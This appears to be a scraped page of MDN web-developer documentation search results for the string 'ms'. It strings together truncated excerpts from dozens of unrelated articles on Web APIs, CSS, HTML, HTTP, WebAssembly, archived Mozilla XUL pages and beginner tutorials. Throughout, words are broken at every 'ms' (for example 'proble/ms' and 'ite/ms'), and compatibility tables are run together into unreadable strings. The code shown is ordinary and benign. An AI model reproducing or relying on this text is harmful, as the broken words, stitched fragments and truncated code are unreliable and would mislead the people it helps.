msung internet android full support 7.0mediametadata() constructor experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ...
... sa
msung internet android full support 7.0album experimentalchrome full support 57edge no support nofirefox full support 71ie no support noopera full support yessafari ?
...And 4 more matches
Recording a media element - Web APIs
let preview = document.getelementbyid("preview"); let recording = document.getelementbyid("recording"); let startbutton = document.getelementbyid("startbutton"); let stopbutton = document.getelementbyid("stopbutton"); let downloadbutton = document.getelementbyid("downloadbutton"); let logelement = document.getelementbyid("log"); let recordingtime
ms = 5000; most of these are references to elements we need to work with.
... the last, recordingtime
ms, is set to 5000 milliseconds (5 seconds); this specifies the length of the videos we'll record.
... function log(
msg) { logelement.innerhtml +=
msg + "\n"; } the log() function is used to output text strings to a <div> so we can share information with the user.
...And 4 more matches
MediaTrackConstraints - Web APIs
properties of all media tracks deviceid a constraindo
mstring object specifying a device id or an array of device ids which are acceptable and/or required.
... groupid a constraindo
mstring object specifying a group id or an array of group ids which are acceptable and/or required.
... facingmode a constraindo
mstring object specifying a facing or an array of facings which are acceptable and/or required.
...And 4 more matches
Navigator - Web APIs
it allows scripts to query it and to register the
mselves to carry on some activities.
... navigatorid.appname read only returns a do
mstring with the official name of the browser.
... navigatorid.appversion read only returns the version of the browser as a do
mstring.
...And 4 more matches
ScreenOrientation - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0lockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
...And 4 more matches
Screen Orientation API - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetscreenorientationchrome full support 38edge full support 79firefox full support 43ie no support noopera full support 25safari no support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosa
msung internet android full support 3.0lockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
...And 4 more matches
SubtleCrypto.encrypt() - Web APIs
syntax const result = crypto.subtle.encrypt(algorithm, key, data); parameters algorithm is an object specifying the algorithm to be used and any extra parameters if required: to use rsa-oaep, pass an rsaoaeppara
ms object.
... to use aes-ctr, pass an aesctrpara
ms object.
... to use aes-cbc, pass an aescbcpara
ms object.
...And 4 more matches
SubtleCrypto.importKey() - Web APIs
for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedimportpara
ms object.
... for ecdsa or ecdh: pass an eckeyimportpara
ms object.
... for hmac: pass an hmacimportpara
ms object.
...And 4 more matches
SubtleCrypto.wrapKey() - Web APIs
wrapalgo is an object specifying the algorithm to be used to encrypt the exported key, and any required extra parameters: to use rsa-oaep, pass an rsaoaeppara
ms object.
... to use aes-ctr, pass an aesctrpara
ms object.
... to use aes-cbc, pass an aescbcpara
ms object.
...And 4 more matches
URL API - Web APIs
the url standard also defines concepts such as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web for
ms' contents as a set of key/value pairs.
...also covered are definitions of various ter
ms related to addressing of computers on a network, and the algorith
ms for parsing ip addresses and dom addresses are specified.
...you can also look up the values of individual parameters with the urlsearchpara
ms object's get() method: let addr = new url("https://mysite.com/login?user=someguy&page=news"); try { loginuser(addr.searchpara
ms.get("user")); gotopage(addr.searchpara
ms.get("page")); } catch(err) { showerrormessage(err); } for example, in the above snippet, the username and target page are taken from the query and passed to appropriate functions that are used by the site's code to log in...
...And 4 more matches
WebGLRenderingContext.getUniformLocation() - Web APIs
name a do
mstring specifying the name of the uniform variable whose location is to be returned.
... the name can't have any whitespace in it, and you can't use this function to get the location of any unifor
ms starting with the reserved string "gl_", since those are internal to the webgl layer.
... the possible values correspond to the uniform names returned by getactiveuniform; see that function for specifics on how declared unifor
ms map to uniform location names.
...And 4 more matches
Rendering and the WebXR frame animation callback - Web APIs
this figure goes by a number of different names, but they're all equivalent or nearly so: refresh rate vertical refresh rate vertical blanking rate (vbl) vertical sync rate vertical refresh rate there are other similar ter
ms used as well, but regardless of what it's called, the unit of measurement applied is the hertz, or hz.
...this pseudocode outlines that process: for each view in the pose's views list: get the webxr gl layer's viewport set the webgl viewport to match for each object in the scene bindprogram() bindvertices() bindmatrices() bindunifor
ms() bindbuffers() bindtextures() drawmyobject() put simply, this form of renderer is using view-first order.
...instead of setting up the viewport for a given view (such as the left eye), then rendering every object visible to the left eye, one by one, reconfiguring buffers for each object as you go, you can instead render each object twice in a row, once for each eye, thereby only needing to set up the buffers, unifor
ms, and so forth once for both eyes.
...And 4 more matches
Example and tutorial: Simple synth keyboard - Web APIs
the keyboard allows you to switch among the standard wavefor
ms as well as one custom waveform, and you can control the master gain using a volume slider beneath the keyboard.
...the keys the
mselves will be inserted into the block of class "keyboard".
... the waveform picker on the right side of the settings bar, we place a label and a <select> element named "waveform" whose options correspond to the available wavefor
ms.
...And 4 more matches
Web Authentication API - Web APIs
the web authentication api is an extension of the credential management api that enables strong authentication with public key cryptography, enabling passwordless authentication and/or secure second-factor authentication without s
ms texts.
... web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or s
ms texts for registering, authenticating, and second-factor authentication with websites.
... this resolves significant security proble
ms related to phishing, data breaches, and attacks against s
ms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
...And 4 more matches
Operable - Accessibility
this article provides practical advice on how to write your web content so that it confor
ms to the success criteria outlined in the operable principle of the web content accessibility guidelines (wcag) 2.0 and 2.1.
... guideline 2.4 — navigable: provide ways to help users navigate, find content, and determine where they are the conformance criteria under this guideline relate to ways in which users can be expected to orientate the
mselves, and find the content and functionality they are looking for on the current page or other pages of the site.
...this can cause proble
ms for screenreader users, who will often bring up a list of the links out of context — several links all labelled "click here", "click here", "click here" would be confusing.
...And 4 more matches
range - CSS: Cascading Style Sheets
syntax /* keyword value */ range: auto; /* range values */ range: 2 5; range: infinite 10; range: 6 infinite; range: infinite infinite; /* multiple range values */ range: 2 5, 8 10; range: infinite 6, 10 infinite; values auto the range depends on the counter system: for cyclic, numeric, and fixed syste
ms, the range is negative infinity to positive infinity.
... for alphabetic and symbolic syste
ms, the range is 1 to positive infinity.
... for additive syste
ms, the range is 0 to positive infinity.
...And 4 more matches
Box-shadow generator - CSS: Cascading Style Sheets
t" data-name="element" data-prop="width height background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -
ms-transform"> </div> <div class="output" data-topic="after" data-name="element:after" data-prop="content=[""] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -
ms-transform"> </div> </div> </div> </div> </div> ...
...ut { margin: 0 10px; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* * ui button */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3p...
...age: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -
ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #ccc; border-radius: 3px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-b...
...And 4 more matches
Variable fonts guide - CSS: Cascading Style Sheets
so the 'weight axis' describes how light or how bold the letterfor
ms can be; the 'width axis' describes how narrow or how wide they can be; the 'italic axis' describes if italic letterfor
ms are present and can be turned on or off accordingly, etc.
... weight weight (represented by the wght tag) defines the design axis of how thin or thick (light or heavy, in typical typographic ter
ms) the strokes of the letterfor
ms can be.
... width width (represented by the wdth tag) defines the design axis of how narrow or wide (condensed or extended, in typographic ter
ms) the letterfor
ms can be.
...And 4 more matches
<color> - CSS: Cascading Style Sheets
several keywords are aliases for each other: aqua / cyan fuchsia / magenta darkgray / darkgrey darkslategray / darkslategrey dimgray / dimgrey lightgray / lightgrey lightslategray / lightslategrey gray / grey slategray / slategrey though many keywords have been adapted from x11, their rgb values may differ from the corresponding color on x11 syste
ms since manufacturers sometimes tailor x11 colors to their specific hardware.
... #f5f5dc bisque #ffe4c4 blanchedalmond #ffebcd blueviolet #8a2be2 brown #a52a2a burlywood #deb887 cadetblue #5f9ea0 chartreuse #7fff00 chocolate #d2691e coral #ff7f50 cornflowerblue #6495ed cornsilk #fff8dc cri
mson #dc143c cyan (synonym of aqua) #00ffff darkblue #00008b darkcyan #008b8b darkgoldenrod #b8860b darkgray #a9a9a9 darkgreen #006400 darkgrey #a9a9a9 darkkhaki #bdb76b darkmagenta #8b008b darkolivegreen #556b2f darkorang...
... lightslategrey #778899 lightsteelblue #b0c4de lightyellow #ffffe0 limegreen #32cd32 linen #faf0e6 magenta (synonym of fuchsia) #ff00ff mediumaquamarine #66cdaa mediumblue #0000cd mediumorchid #ba55d3 mediumpurple #9370db mediu
mseagreen #3cb371 mediu
mslateblue #7b68ee mediu
mspringgreen #00fa9a mediumturquoise #48d1cc mediumvioletred #c71585 midnightblue #191970 mintcream #f5fffa mistyrose #ffe4e1 moccasin #ffe4b5 navajowhite #ffdead oldlace #fdf5e6 ...
...And 4 more matches
min-width - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetmin-widthchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes css 2.1 leaves the behavior of min-width with table undefined.
...firefox supports applying min-width to table elements.opera android full support 14safari ios full support 1sa
msung internet android full support 1.0autochrome full support 21notes full support 21notes notes chrome uses auto as the initial value for min-width.edge full support 12notes full support ...
... 16 — 22notes notes firefox 18 and later (until the value was removed), used auto as the initial value for min-width.opera android full support 14notes full support 14notes notes opera uses auto as the initial value for min-width.safari ios no support nosa
msung internet android full support 1.5notes full support 1.5notes notes sa
msung internet uses auto as the initial value for min-width.fit-contentchrome full support 46 full support 46 full support ...
...And 4 more matches
User input and controls - Developer guides
user input and controls workflow the following diagram illustrates the typical workflow for implementing user input mechanis
ms: first of all, you need to decide which input mechanis
ms you want to cover in your application out of mouse, keyboard, finger touch and so on.
... once you decided the input mechanis
ms, you can control them using tools offered by the web platform or javascript libraries.
... recommendations available input mechanis
ms depend on the capabilities of the device running the application: some devices provide touchscreen displays: the web platform offers touch events to interpret finger activity on touch-based user interfaces.
...And 4 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
value a do
mstring representing a date and time (in the local time zone), or empty.
... methods select(), stepdown(), stepup() value a do
mstring representing the value of the date entered into the input.
... div { margin-bottom: 10px; display: flex; align-ite
ms: center; } label { display: inline-block; width: 300px; } input:invalid+span:after { content: '✖'; padding-left: 5px; } input:valid+span:after { content: '✓'; padding-left: 5px; } important: html form validation is not a substitute for scripts that ensure that the entered data is in the proper format.
...And 4 more matches
<input type="time"> - HTML: Hypertext Markup Language
it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a do
mstring representing a time, or empty.
... value a do
mstring containing the value of the time entered into the input.
... the steps value see
ms to have no effect in edge.
...And 4 more matches
Index - HTTP
using content negotiation, the server then selects one of the proposals, uses it and infor
ms the client of its choice with the content-type response header.
...using content negotiation, the server then selects one of the proposals, uses it and infor
ms the client of its choice within the content-type response header.
...using content negotiation, the server selects one of the proposals, uses it and infor
ms the client of its choice with the content-encoding response header.
...And 4 more matches
HTTP headers - HTTP
cache-control directives for caching mechanis
ms in both requests and responses.
... warning general warning information about possible proble
ms.
... content negotiation accept infor
ms the server about the types of data that can be sent back.
...And 4 more matches
WebAssembly.Module - JavaScript
static properties webassembly.module.custo
msections() given a module and string, returns a copy of the contents of all custom sections in the module with the given string name.
... desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsmodulechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0module() constructorchrome full support 57edge full support 16firefox full support 52notes full ...
...And 4 more matches
WebAssembly.Table - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jstablechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0table() constructorchrome full support 57edge full support 16firefox full support 52notes full s...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0getchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 4 more matches
Populating the page: how browsers work - Web Performance
congestion control as the server sends data in tcp packets, the user's client confir
ms delivery by returning acknowledgements, or acks.
...congestion control algorith
ms use this flow of sent packets and acks to determine a send rate.
...in ter
ms of web performance optimization, there are lower hanging fruit, as the total time to create the cssom is generally less than the time it takes for one dns lookup.
...And 4 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
it works great across browsers, but it suffers in ter
ms of time navigating between pages and therefore general perceived performance — loading a page requires a new round trip to the server.
...there is also a new approach involving the strea
ms api, which we'll mention briefly.
... another approach: strea
ms an entirely different approach to server- or client-side rendering can be achieved with the strea
ms api.
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
25 arabic-form deprecated, svg, svg attribute the arabic-form attribute indicates which of the four possible for
ms an arabic glyph represents.
...quality tradeoffs as it perfor
ms image processing.
... 240 version deprecated, svg, svg attribute the version attribute is used to indicate what specification a svg document confor
ms to.
...And 4 more matches
lang/functional - Archive of obsolete content
invoke(callee, para
ms, self) invokes callee, passing para
ms as an argument and self as this.
... para
ms : array parameters to be passed into callee.
...in math ter
ms, composing the functions f(), g(), and h() produces f(g(h())).
...And 3 more matches
ui/frame - Archive of obsolete content
script> </body> </html> if we save this document as "city-info.html" under the add-on's "data" directory, we can create a frame hosting it and add the frame to a toolbar like this: var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html" }); var toolbar = toolbar({ name: "city-info", title: "city info", ite
ms: [frame] }); the toolbar is positioned between the address bar and the content window.
... var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var frame = new frame({ url: "./city-info.html", onmessage: (e) => { console.log("new city: " + e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", ite
ms: [frame] }); from add-on to all frames to send a message from the add-on code to all frames, attached to all open browser windows, you can use frame.postmessage().
...real case it might ask a web service): var { frame } = require("sdk/ui/frame"); var { toolbar } = require("sdk/ui/toolbar"); var weather = { "london" : "rainy", "toronto" : "snowy", "san francisco" : "foggy" } var frame = new frame({ url: "./city-info.html", onmessage: (e) => { updateweather(e.data); } }); var toolbar = toolbar({ name: "city-info", title: "city info", ite
ms: [frame] }); function updateweather(location) { frame.postmessage(weather[location], frame.url); } to listen to these messages in the frame script, add a listener to the window's message event: window.addeventlistener("message", updateweather, false); function updateweather(message) { var label = window.document.getelementbyid("weather"); label.textcontent = message.data; } from add-o...
...And 3 more matches
File I/O - Archive of obsolete content
here are some of the special locations the directory service supports: (scope: d = product-wide, f = profile wide) string scope meaning achrom d %curprocd%/chrome aplugns d %curprocd%/plugins (deprecated - use aplugnsdl) aplugnsdl d co
msd n/a %curprocd%/components curprocd n/a current working directory (usually the application's installation directory).
... progs d user start menu progra
ms directory (for example, c:\documents and settings\username\start menu\progra
ms).
... enumerating drives on windows while you can use initwithpath("/") on unix-like syste
ms (linux, mac) to get the root of the file system, there's no such root on windows.
...And 3 more matches
Extension Etiquette - Archive of obsolete content
user interface tools menu ite
ms using the tool menu option gives the author the maximum amount of choices.
...sub-menus should be used for single extensions needing multiple menu ite
ms, and a tools menu item should not be created for options and preferences (for options and preferences, see the add-on manager).
...to maintain the default theme, avoid the use of an icon next to the menu ite
ms.
...And 3 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
the ns
msgutils.h header for developing core mail/news code, the ns
msgutils.h header is being enhanced to fill in some of the gaps caused by the differences between the internal and external apis.
...note: #include nsisupportsarray.h before ns
msgutils.h convenience methods that work using either api.
...
msglowercaseequalsliteral(a8, literal) replaces (a8).lowercaseequalsliteral(literal).
...And 3 more matches
Setting Up a Development Environment - Archive of obsolete content
we chose make because this is the same system used by mozilla to build firefox, and it is available for all operating syste
ms.
... make is a default tool in most unix-based syste
ms.
... to make "make install" work on non-windows syste
ms, you need an extra step.
...And 3 more matches
In-Depth - Archive of obsolete content
system colours css2 defines colours which are the same as your operating syste
ms theme.
...use this when you want one or two controls to look different from the operating syste
ms defaults.
...-moz-box-direction controls which way the ite
ms in this box are displayed.
...And 3 more matches
Editor Embedding Guide - Archive of obsolete content
call a command -- docommand: commandmanager->docommand(acommand, acommandpara
ms); acommand is a const char * to a supported command name (see list below).
... acommandpara
ms could possibly be a null pointer or a pointer to a valid structure filled with relative parameters to acommand (see list below for legal para
ms).
...get the current command state of a given command -- getcommandstate: commandmanager->getcommandstate(acommand,acommandpara
ms) index of commands and parameters cmd_bold toggles bold style on selection.
...And 3 more matches
JavaScript Client API - Archive of obsolete content
please note that usage of the sync apis is governed by a ter
ms of service: by accessing or using the firefox sync apis in connection with the development of your own client software to access the firefox sync services (a “third party client”), you acknowledge that you will need to install and use a local version of the firefox sync server for multiple account testing and that any use of mozilla’s hosted firefox sync services is subject to mozilla’s...
... firefox sync ter
ms of service at https://services.mozilla.com/tos/.
...unless the ite
ms you're syncing have their own inherent guids already defined, you'll need to invent guids for all your ite
ms at this time.
...And 3 more matches
JavaScript crypto - Archive of obsolete content
handling smart card events web sites can make the
mselves more smartcard friendly by listening for smartcard insertion and removal events.
...> <p><input type=hidden name=cert_request value=""> <p>name: <input type=text name=name value=""> <p>password: <input type=password name="password" value=""> <p><input type=submit name="send" value="submit"> </form> <script> /* the following values could be filled in by the server cgi */ var authenticator = "server_magic"; var keytransportcert = null; var crmfobject = null; var form = document.for
ms[0]; function validate() { // generate keys for nsm.
...ificate</p> <form name="reqform"> <p><input type=submit name="load" value="submit"></p> </form> <script> /* the following values could be filled in by the server cgi */ var nickname= "mycertnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var forcebackup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, forcebackup); return false; } document.for
ms[0].onsubmit = loadcertificate; </script> signing text do
mstring signtext(do
mstring stringtosign, do
mstring caoption /* ...
...And 3 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
such timing-related issues are also hardware-related -- slower syste
ms can reveal bugs that faster syste
ms hide.
...while mozilla ai
ms to be a standards-compliant browser, it has three modes that support older web pages created with these quirky behaviors.
...the following code shows you how: var xmlstring = "<xml id=\"xmldataisland\"><foo>bar</foo></xml>"; var mydocument; if (window.domparser) { // this browser appears to support domparser var parser = new domparser(); mydocument = parser.parsefro
mstring(xmlstring, "text/xml"); } else if (window.activexobject){ // internet explorer, create a new xml document using activex // and use loadxml as a dom parser.
...And 3 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
xpinstall is a javascript-based installer technology that works across all the platfor
ms that mozilla and netscape browsers based on mozilla (such as netscape 7) are deployed.
... a definition of ter
ms xpinstall is an installer technology, and the name itself stands for "cross platform install" (hence "xp" -- an abbreviation for "cross platform").
... you can create an xpinstall file by first zipping all the ite
ms you want installed with winzip (create a zip archive) and then renaming it with the xpi file extension instead of the zip file extension.
...And 3 more matches
Introduction to XUL - Archive of obsolete content
ter
ms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer.
...ui designers will be able to create ui descriptions which will work on multiple platfor
ms.
... but proper ui descriptions which take into account various platfor
ms' differing ideas about proper placement of such things as dialog buttons will require some platform-specific work.
...And 3 more matches
Rule Compilation - Archive of obsolete content
for instance, if generating the ite
ms in a listbox, you will typically use only one rule.
...however, there are two cases where content is not generated automatically: menus and child tree ite
ms.
...however, it also means that the dom api usage, such as an attempt to get the number of child nodes as above, will also not include generated ite
ms until the menu is opened.
...And 3 more matches
XUL Changes for Firefox 1.5 - Archive of obsolete content
this element works similarly to the <listbox> which is designed primarily for lists of textual ite
ms.
... the <richlistbox> supports much of the same api as the <listbox> and single ite
ms, created with the <richlistitem> element may be selected.
... button: icon property the icon property on a button may be used to set stock icons on a button, used on some platfor
ms.
...And 3 more matches
radiogroup - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... itemcount type: integer read only property holding the number of child ite
ms.
...by assigning -1 to this property, all ite
ms will be deselected.
...And 3 more matches
tabs - Archive of obsolete content
visible controls have a disabled property which, except for menus and menuite
ms, is normally preferred to use of the attribute, as it may need to update additional state.
... itemcount type: integer read only property holding the number of child ite
ms.
...by assigning -1 to this property, all ite
ms will be deselected.
...And 3 more matches
Encryption and Decryption - Archive of obsolete content
with most symmetric algorith
ms, the same key is used for both encryption and decryption, as shown in figure 1.
... public-key encryption the most commonly used implementations of public-key encryption are based on algorith
ms patented by rsa data security.
...for symmetric algorith
ms, breaking the algorithm usually means trying to determine the key used to encrypt the text.
...And 3 more matches
E4X for templating - Archive of obsolete content
use domparser/do
mserializer or a non-native jxon algorithm instead.
... === 'string') { return s.replace(/"/g, '"').replace(/'/g, '''); } if (typeof s === 'xml') { return s.tostring().replace(/"/g, '"').replace(/'/g, '''); } return string(s).replace(/"/g, '"').replace(/'/g, '''); } localization e4x works nicely with a simple utility for localizing strings of a properties file: // localization function $s(
msg, args){ //get localized message var strs = cc['@mozilla.org/intl/stringbundle;1'].getservice(ci.nsistringbundleservice).
... createbundle('chrome://myeext/locale/myext.properties'); if (args){ args = array.prototype.slice.call(arguments, 1); return strs.formatstringfromname(
msg,args,args.length); } return strs.getstringfromname(
msg); } for example, <toolbarbutton label={$s('mytoolbar.label')}/> conditionals function _if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element content } for example: {_if(ele
ms.length(), function () <description>{ele
ms[0]}</description>, function _else () <label>no data</label> )} note that the simple x...
...And 3 more matches
Archived open Web documentation - Archive of obsolete content
konqueror is listed below the table, which see
ms inconsistent.
...this article reviews several approaches to browser detection, their usefulness in specific circu
mstances to arrive at a common sense approach to browser detection.
... liveconnect (please update or remove as needed.)
msx emulator (js
msx) old proxy api proxies are objects for which the programmer has to define the semantics in javascript.
...And 3 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
summary: thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing proble
ms for some web sites.
... this technote explains the source of the proble
ms and how to avoid encountering them.
...the most reliable fix is to add the anchor element to the selectors, like this: a:hover {color: red;} a.nav:hover {color: red;} in an attempt to avoid causing proble
ms for legacy documents, browsers based on mozilla 1.0 and later (netscape 7+) include code that causes bare pseudo-classes to be restricted only to links if the document is rendered in "quirks" mode.
...And 3 more matches
Archive of obsolete content
here at mdn, we try to avoid outright deleting content that might be useful to people targeting legacy platfor
ms, operating syste
ms, and browsers.
... css3 css3 is the latest evolution of the cascading style sheets language and ai
ms at extending css2.1.
...performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files the
mselves.
...And 3 more matches
Game monetization - Game development
there are many companies offering advert syste
ms — you sign up and allow them to show adverts in exchange for a percentage of the earnings.
...they offer easy to implement syste
ms to show the adverts in your games and split the earnings with you.
... finding publishers might be hard at first — try to look for them at the html5 gamedevs foru
ms.
...And 3 more matches
Styling tables - Learn web development
of albu
ms</th> <th scope="col">most famous song</th> </tr> </thead> <tbody> <tr> <th scope="row">buzzcocks</th> <td>1976</td> <td>9</td> <td>ever fallen in love (with someone you shouldn't've)</td> </tr> <tr> <th scope="row">the clash</th> <td>1976</td> <td>6</td> <td>london calling</td> </tr> ...
... some rows removed for brevity <tr> <th scope="row">the stranglers</th> <td>1974</td> <td>17</td> <td>no more heroes</td> </tr> </tbody> <tfoot> <tr> <th scope="row" colspan="2">total albu
ms</th> <td colspan="2">77</td> </tr> </tfoot> </table> the table is nicely marked up, easily styleable, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc.
... we've set some padding on the <th> and <td> elements — this gives the data ite
ms some space to breathe, making the table look a lot more legible.
...And 3 more matches
The box model - Learn web development
previous overview: building blocks next everything in css has a box around it, and understanding these boxes is key to being able to create layouts with css, or to align ite
ms with other ite
ms.
...these characteristics refer to how the box behaves in ter
ms of page flow, and in relation to other boxes on the page: if a box is defined as a block, it will behave in the following ways: the box will break onto a new line.
...any direct children of this box will become flex ite
ms and will be laid out according to the rules set out in the flexbox spec, which you'll learn about later on.
...And 3 more matches
Floats - Learn web development
this is because a floated element is taken out of normal flow, and the boxes of the following ite
ms actually run behind the float.
...the clear property accepts the following values: left: clear ite
ms floated to the left.
... right: clear ite
ms floated to the right.
...And 3 more matches
What software do I need to build a website? - Learn web development
summary you can download most of the progra
ms you need for web development for free.
... you'll need tools to: create and edit webpages upload files to your web server view your website nearly all operating syste
ms by default include a text editor and a browser, which you can use to view websites.
... all desktop operating syste
ms come with a basic text editor.
...And 3 more matches
What’s in the head? Metadata in HTML - Learn web development
objective: to learn about the html head, its purpose, the most important ite
ms it can contain, and what effect it can have on the html document.
...you should still set an encoding of utf-8 on your page anyway, to avoid any potential proble
ms in other browsers.
...let's look at an example: <meta name="author" content="chris mills"> <meta name="description" content="the mdn web docs learning area ai
ms to provide complete beginners to the web with all they need to know to get started with developing web sites and applications."> specifying an author is beneficial in many ways: it is useful to be able to understand who wrote the page, if you have any questions about the content and you would like to contact them.
...And 3 more matches
HTML table advanced features and accessibility - Learn web development
the <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with ite
ms in the previous rows summed, for example.
...the "sum" row that contains a summation of the spent amounts see
ms to be in the wrong place, and there are some details missing from the code.
... ite
ms sold august 2016 clothes accessories trousers skirts dresses bracelets rings belgium antwerp 56 22 43 72 23 gent 46 18 50 61 15 brussels 51 27 38 69 28 the netherlands a
msterdam 89 34 69 85 38 utrecht 80 12 43 36 19 bu...
...And 3 more matches
Functions — reusable blocks of code - Learn web development
ing); // the replace() string function takes a source string, // and a target string and replaces the source string, // with the target string, and returns the newly formed string or every time we manipulated an array: let myarray = ['i', 'love', 'chocolate', 'frogs']; let madeastring = myarray.join(' '); console.log(madeastring); // the join() function takes an array, joins // all the array ite
ms together into a single // string, and returns this new string or every time we generated a random number: let mynumber = math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...we were using a function!
...for now, we just wanted to clear up any possible confusion of method versus function — you are likely to meet both ter
ms as you look at the available related resources across the web.
... the built-in code we've made use of so far come in both for
ms: functions and methods.
...And 3 more matches
Client-side storage - Learn web development
these days, there are easier mechanis
ms available for storing client-side data, therefore we won't be teaching you how to use cookies in this article.
... new school: web storage and indexeddb the "easier" features we mentioned above are as follows: the web storage api provides a very simple syntax for storing and retrieving smaller, data ite
ms consisting of a name and a corresponding value.
...abase tables if this has not already been done request.onupgradeneeded = function(e) { // grab a reference to the opened database let db = e.target.result; // create an objectstore to store our notes in (basically like a single table) // including a auto-incrementing key let objectstore = db.createobjectstore('notes_os', { keypath: 'id', autoincrement:true }); // define what data ite
ms the objectstore will contain objectstore.createindex('title', 'title', { unique: false }); objectstore.createindex('body', 'body', { unique: false }); console.log('database setup complete'); }; this is where we define the schema (structure) of our database; that is, the set of columns (or fields) it contains.
...And 3 more matches
JavaScript object basics - Learn web development
the first four ite
ms are data ite
ms, and are referred to as the object's properties.
... the last two ite
ms are functions that allow the object to do something with that data, and are referred to as the object's methods.
... it is very common to create an object using an object literal when you want to transfer a series of structured, related data ite
ms in some manner, for example sending a request to the server to be put into a database.
...And 3 more matches
Client-Server Overview - Learn web development
the parts of the site that make it dynamic are the web application (this is how we will refer to the server-side code that processes http requests and returns http responses), the database, which contains information about players, tea
ms, coaches and their relationships, and the html templates.
... one of the most important operations they perform is providing simple mechanis
ms to map urls for different resources/pages to specific handler functions.
